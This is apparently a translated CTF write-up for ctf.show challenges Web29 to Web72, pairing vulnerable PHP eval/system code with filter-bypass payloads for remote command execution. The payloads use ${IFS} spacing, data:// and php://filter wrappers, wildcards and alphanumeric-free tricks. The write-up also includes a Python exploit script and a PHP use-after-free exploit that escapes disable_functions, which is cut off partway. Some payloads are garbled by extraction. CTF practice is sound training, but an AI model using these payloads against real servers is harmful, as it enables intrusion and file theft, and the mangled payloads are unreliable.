Web29
Title: strict filtering is required for command execution
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Analysis: pass a value to c and return flag
Use system and ls to view the current directory file and find flag.php
cat flag.php has nothing
Too worried flag
Use cat f * instead of cat flag.php
Check the source code to get the flag
Web30
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Too worried about flag,system,php
Bypass using string splicing
payload:c= a = " s y s " ; a="sys"; a="sys";b="tem"; z = z= z=a. b ; b; b;s('cat f*');
Web31
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Too worried: flag system php cat sort shell. Single quotation mark
The system can use passthru
And if cat is over considered, you can use more to bypass it
payload:?c=passthru($_POST[a]);
Then post passes parameters
Get flag
Web32
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Too worried: flag flag system php cat sort shell. Single quote space anti single quote echo semicolon
Filtering spaces can be filtered using ${IFS}%0a, semicolons can be used? > Over consider
If parentheses are too much considered, you cannot use parenthesized functions and use include for file inclusion
Read files with php pseudo protocol
payload:?c=include I F S {IFS} IFS_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php
Decode to get flag
Web33
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Too worried: flag flag system php cat sort shell. Single quote space anti single quote echo semicolon double quote
Just worry about a double quote
The method is the same as Web32
Web34
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Too worried: flag flag system php cat sort shell. Single quote space anti single quote echo semicolon double quote
The practice is the same as above
Web35
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Too worried: flag flag system php cat sort shell. Single quote space anti single quote echo semicolon double quote <=
The practice is the same as above
Web36
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Too worried: flag flag system php cat sort shell. Single quote space anti single quote echo semicolon double quote < = / number
The practice is the same as above
Web37
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
Using data pseudo protocol
date://text/plain;base64, encoding
<?php system("cat flag.php");?>payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
Or? c= data://text/plain ,<? php system("cat fl\*");?>
Get flag
Web38
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
Too worried flag php file
base64 encoding using data pseudo protocol
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
Get flag
Web39
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
Consider the flag and splice c. php
Using data pseudo protocol,
The data pseudo protocol is equivalent to executing the php file and closing it, then the following. php will be executed in the form of html and displayed later
payload:?c=data://text/plain,<?php system("cat fla\*");?>
Web40
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
You can see the Chinese parentheses instead of the English parentheses
Quotation marks are also over considered. Pseudo protocol cannot be used
First, you need to know the files in the current directory
The scanner () function can scan directories
First, how to construct a scanner ('.')
php function:
localeconv(): an array that returns information about local numbers and currency format. The first item of the array is * ***
pos() or current (): returns the first value of the array
arrary_reverse(): array in reverse order
netx(): point the pointer to the next pointer of the array and output
Note: pos(localeconv()) is always a dot
Construct payload:print_r(scandir(pos(localeconv())));
Get current directory file
flag.php is the penultimate
Invert the array
payload:print_r(array_reverse(scandir(pos(localeconv()))));
Then use next() to point to flag
payload:print_r(next(array_reverse(scandir(pos(localeconv())))));
Then use highlight_file() or show_source() to read the flag
payload:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Or? c=show_source(next(array_reverse(scandir(pos(localeconv())))));
Web41
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: plume
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
Try to find or calculate the characters that can get the characters we can use from the characters with ascii of 0-255
Script rce_or.php:
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
Script exp.py:
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #php is not written to the environment variable and needs to be run manually
if(len(argv)!=2):
print("="*50)
print('USER: python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function: ") )+action(input("[+] your command: "))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
Run exp.py to get the flag
Web42
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
The incoming c will be spliced with the following string, and then executed
Just add * * after c** Can bypass
Web43
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
First, c is judged, if it does not contain cat;
Then perform the following steps
You can use more instead of cat%0a instead;
payload:?c=more flag.php%0a
Web44
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
After worrying about cat; Based on the flag
payload:?c=more fla*.php%0a
Web45
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
On the basis of the previous question, the blank space is over considered
Bypass with ${IFS}
payload:?c=more${IFS}fla*.php%0a
Web46
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
The number $*
Now that you're worried * and$
Use% 09 to bypass spaces
*Use? Bypass
payload:?c=more%09fla?.php%0a
Web47
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Too worried:; cat flag space number $* more less head sort tail
Don't use more
Use tac instead of more
payload:?c=tac%09fla?.php%0a or? c=nl%09fla?.php%0a
Web48
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Too worried:; cat flag space digit $* more less head sort tail sed cut awk strings od curl anti single quotation mark
No worries tac
payload:?c=tac%09fla?.php%0a or? c=nl%09fla?.php%0a
Web49
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Too worried:; cat flag space digit $* more less head sort tail sed cut awk strings od curl inverse single quotation mark%
payload:?c=tac%09fla?.php%0a or? c=nl%09fla?.php%0a
Or? c=tac%09fla’'g.php%0a
Web50
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Too worried:; cat flag space digit $* more less head sort tail sed cut awk strings od curl anti single quotation mark% X09 (space) x26 (&)
You cannot use% 09 to bypass spaces
< replace% 09
payload:?c=tac<fla''g.php%0a
Web51
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Too worried:; cat flag space digit $* more less head sort tail sed cut awk strings od curl anti single quotation mark% X09 (space) x26 (&) TAC
tac cannot be used if tac is over considered
Use nl
payload:?c=nl<fla''g.php%0a
Web52
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
The replacement of spaces < > is too much
You can use ${IFS} to bypass
flag is not here
Check the root directory and find the flag
payload:?c=nl${IFS}/fla''g||
Web53
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
payload:?c=nl${IFS}fla''g.php
Web54
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
Use paste to view the contents of the file
payload:?c=paste I F S f l a ? . p h p or ? a t {IFS}fla?.php or? at IFSfla?.php or? at{IFS}fla?.php
? at will automatically match cat
Web55
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// Are you showcasing your skills?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
Over worried: a-z; Return quotation mark% X09 (space) x26 (&) < >
You can use / bin/base64 for encrypted output of folders
/???/???64 ???(flag.php)
payload:/???/???64 ???
Decrypt to get flag
Web56
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// Are you showcasing your skills?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
/ bin/base64 cannot be used if the number is over considered on the basis of the previous question
These two questions have no letters and no numbers rce
First, you need an upload form (the url in the middle needs to be changed according to the title)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST data packet POC</title>
</head>
<body>
<form action="http://748bc59d-a655-4332-b02b-1a539e45ba33.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--Links are currently open topic links-->
<label for="file">File name:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="Submit">
</form>
</body>
</html>
Then grab the packet and construct poc
Change to
Just try a few times
Then cat flag.php can be used
The following two articles:
Master Firebasky: https://blog.csdn.net/qq_46091464/article/details/108513145
P God: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
Web57
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// Can you still move dazzlingly?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
Analysis shows that you need to figure out 36 to get rid of the over worry $()
Use $(()) for operations
The output result is 0
Negate 0 and the result is - 0
The result of the operation on - 0 is - 1
-1 is obtained. Just add - 1 ± 1... To - 36 and reverse it
You can see * 36 to get - 36
Take the inverse to get 35, then add one to get 36
36 and out, and then replace * 37 with ( ( ((~ (( (())))
Add 36 times
payload: ( ( ((~ (( (( ( ( ((~ (( (())))+ ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (()))) ( ( ((~ (( (())))))))
Web58
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// Are you showcasing your skills?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
post gives c a value
Function is disabled,
Scanner(): returns the current directory file in an array
print_r(): output array
Using print_r(scandir(’.’));
Check what files are in the current directory
Then use show directly_ source(“flag.php”); see file
Web59
Step Web58
Web60
Step Web58
Web61
Step Web58
Web62
Step Web58
Web63
Step Web58
Web64
Step Web58
Web65
Step Web58
Web66
Too worried, show_source
Using highlight_file
Prompt flag is not here
Check the root directory and find flag.txt
Read / flag.txt
Web67
Same as Web66
Web68
Highlight is disabled_ file()
Use include() to include / flag.txt
Web69
Same as Web68
Web70
Same as Web68
Web71
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// Are you showcasing your skills?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
Are you going to heaven?
ob_get_contents(): get the contents of the buffer
ob_end_clean(): close buffer
preg_replace(): execute regular expression to replace
You can use exit(0) to make the subsequent buffer not execute
payload:?c=include('/flag.txt');exit(0);
Web72
Source code:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// Are you showcasing your skills?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
Are you going to heaven?
view folders
Viewing DirectoryIterator using directory iterator
Get current directory file
<?php
$a = new DirectoryIterator('glob://*');
foreach ($a as $f){
echo $f->__toString()."";
}
?>
glob: / / * view all files in the root directory
Get flag file
include is filtered
This question is open_basedir and disable_functions restrictions
open_basedir: limit the files that php can open to the specified directory
disable_functions: disable some functions
exp:
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
